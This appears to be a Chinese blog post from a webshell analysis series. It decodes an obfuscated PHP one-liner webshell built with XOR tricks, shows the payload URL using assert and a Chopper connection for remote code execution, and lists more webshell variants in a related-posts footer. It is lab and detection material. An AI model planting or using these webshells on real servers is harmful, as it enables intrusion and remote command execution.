WebShell代码分析溯源(四)
WebShell代码分析溯源(四)
一、一句话变形马样本
<?php @$_++;$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");${$__}[!$_](${$___}[$_]); ?>
二、代码分析
1、调整代码格式

2、分析代码
“^”为异或运算符,在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或运算,异或运算完,又将结果从二进制转换成了字符串。
$_++,这行代码的意思是对变量名为”_”的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。
2.1手动进行异或运算,依次类推得到$___=_POST

2.2$_++在自增之后,$_就变成了1,因此,!$_也就为0,综上分析,${$__}[!$_](${$___}[$_]);也就变成了$_GET[0]($_POST[1]);,此时一句话木马为<?php $_GET[0]($_POST[1]); ?>
2.3构造payload: http://www.test.com/test.php?0=assert,因此一句话木马就变成为<?php assert($_POST[1]); ?>,然后使用菜刀连接,密码为1
2.4远程代码执行,执行一些命令


3、通过调试代码进行分析webshell,搭建php环境(这里使用phpstudy)

4、调试输出结果如下

三、漏洞环境搭建
1、这里使用在线学习平台墨者学院中的实验环境(PHP代码分析溯源(第1题)),地址: https://www.mozhe.cn/bug/detail/UW5xcFhsWE05akxJYjB1TzEyM2p3UT09bW96aGUmozhe
2、代码环境,下载代码

3、分析(上面已经分析过了)
4、使用菜刀连接

四、后记
学习常用webshell扫描检测查杀工具---WEBDIR+(百度WebShell扫描检测引擎),网址: https://scanner.baidu.com/#/pages/intro
使用WEBDIR+进行webshell查杀


WebShell代码分析溯源(四)的更多相关文章
- WebShell代码分析溯源(一)
WebShell代码分析溯源(一) 一.一句话变形马样本 <?php $_GET['POST']($_POST['GET']);?> 二.代码分析 1.调整代码格式 <?php $_ ...
- WebShell代码分析溯源(七)
WebShell代码分析溯源(七) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['POST'],);array_map(ba ...
- WebShell代码分析溯源(五)
WebShell代码分析溯源(五) 一.一句话变形马样本 <?php $e=$_REQUEST['e'];$arr=array($_POST['POST'],);array_filter($ar ...
- WebShell代码分析溯源(三)
WebShell代码分析溯源(三) 一.一句话变形马样本 <?php $g = array('','s');$gg = a.$g[1].ser.chr('116');@$gg($_POST[ge ...
- WebShell代码分析溯源(二)
WebShell代码分析溯源(二) 一.一句话变形马样本 <?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST ...
- WebShell代码分析溯源(十一)
WebShell代码分析溯源(十一) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];declare(ticks=1);register_tick_function ( ...
- WebShell代码分析溯源(十)
WebShell代码分析溯源(十) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];register_shutdown_function($e, $_REQUEST[' ...
- WebShell代码分析溯源(九)
WebShell代码分析溯源(九) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['pass'] => '|.*|e', ...
- WebShell代码分析溯源(八)
WebShell代码分析溯源(八) 一.一句话变形马样本 <?php $e=$_REQUEST['e'];$arr= array('test', $_REQUEST['POST']);uasor ...
随机推荐
- python中字典数据类型常用操作
创建字典 字典是另一种可变容器模型,且可存储任意类型对象. 字典的每个键值(key=>value)对用冒号(:)分割,每个对之间用逗号(,)分割,整个字典包括在花括号({})中 ,格式如下所示: ...
- Delphi - 调用SuperDll 持续更新
调用SuperDll 接上一篇Delphi创建Superdll,将生成的SuperDll.dll文件复制到本工程路径下,创建如下代码进行Superdll各个接口的测试. 创建uSuperDll.pas ...
- 引用公共页面的js函数报错
对于网站来说很多页面之间都有着大量的共享模块,如页头,页脚和用户栏等.很多时候为了方便.省事,我们在公共模块写函数,然后在别的页面里调用.但我们在引用公共的js函数时,有些可以引用,有些却报错:这是因 ...
- Python批量检测服务器端口可用性与Socket函数使用
socket函数 简述 socket又称套间字或者插口,是网络通信中必不可少的工具.有道是:"无socket,不网络".由于socket最早在BSD Unix上使用,而Unix/L ...
- Python的Requests库基本方法函数
一.Requests 库的七个常用函数: 1. requests.request(method,url,**kwargs) :method:请求方式,对应get/put/post等七种 :拟获取页面的 ...
- [TimLinux] JavaScript 判断 input checkbox选中的方法
1. input属性 <label> <span>选择</span> <input type="checkbox" name=" ...
- java中List、Map、Set、Stack、Queue、Collections等的使用
java中List.Map.Set.Stack.Queue.Collections等的使用 List 创建方法: List<String> list=new ArrayList<&g ...
- windows上安装和使用ab压测工具
ApacheBench是一款压力测试工具,用于测试http服务器请求的性能情况. 官方下载链接:https://www.apachehaus.com/cgi-bin/download.plx 百度云: ...
- JPEG算法解密
图片压缩有多重要,可能很多人可能并没有一个直观上的认识,举个例子,一张800X800大小的普通图片,如果未经压缩,大概在1.7MB左右,这个体积如果存放文本文件的话足够保存一部92万字的鸿篇巨著< ...
- ubuntu16.04没有办法使用CRT,或者SSH工具的解决办法
首先要明确一点,ubuntu16.04是默认没有安装SSH工具的 情况1 首先需要切换到root模式,然后在进行安装 设置root密码 sudo passwd 然后 sudo apt-get ins ...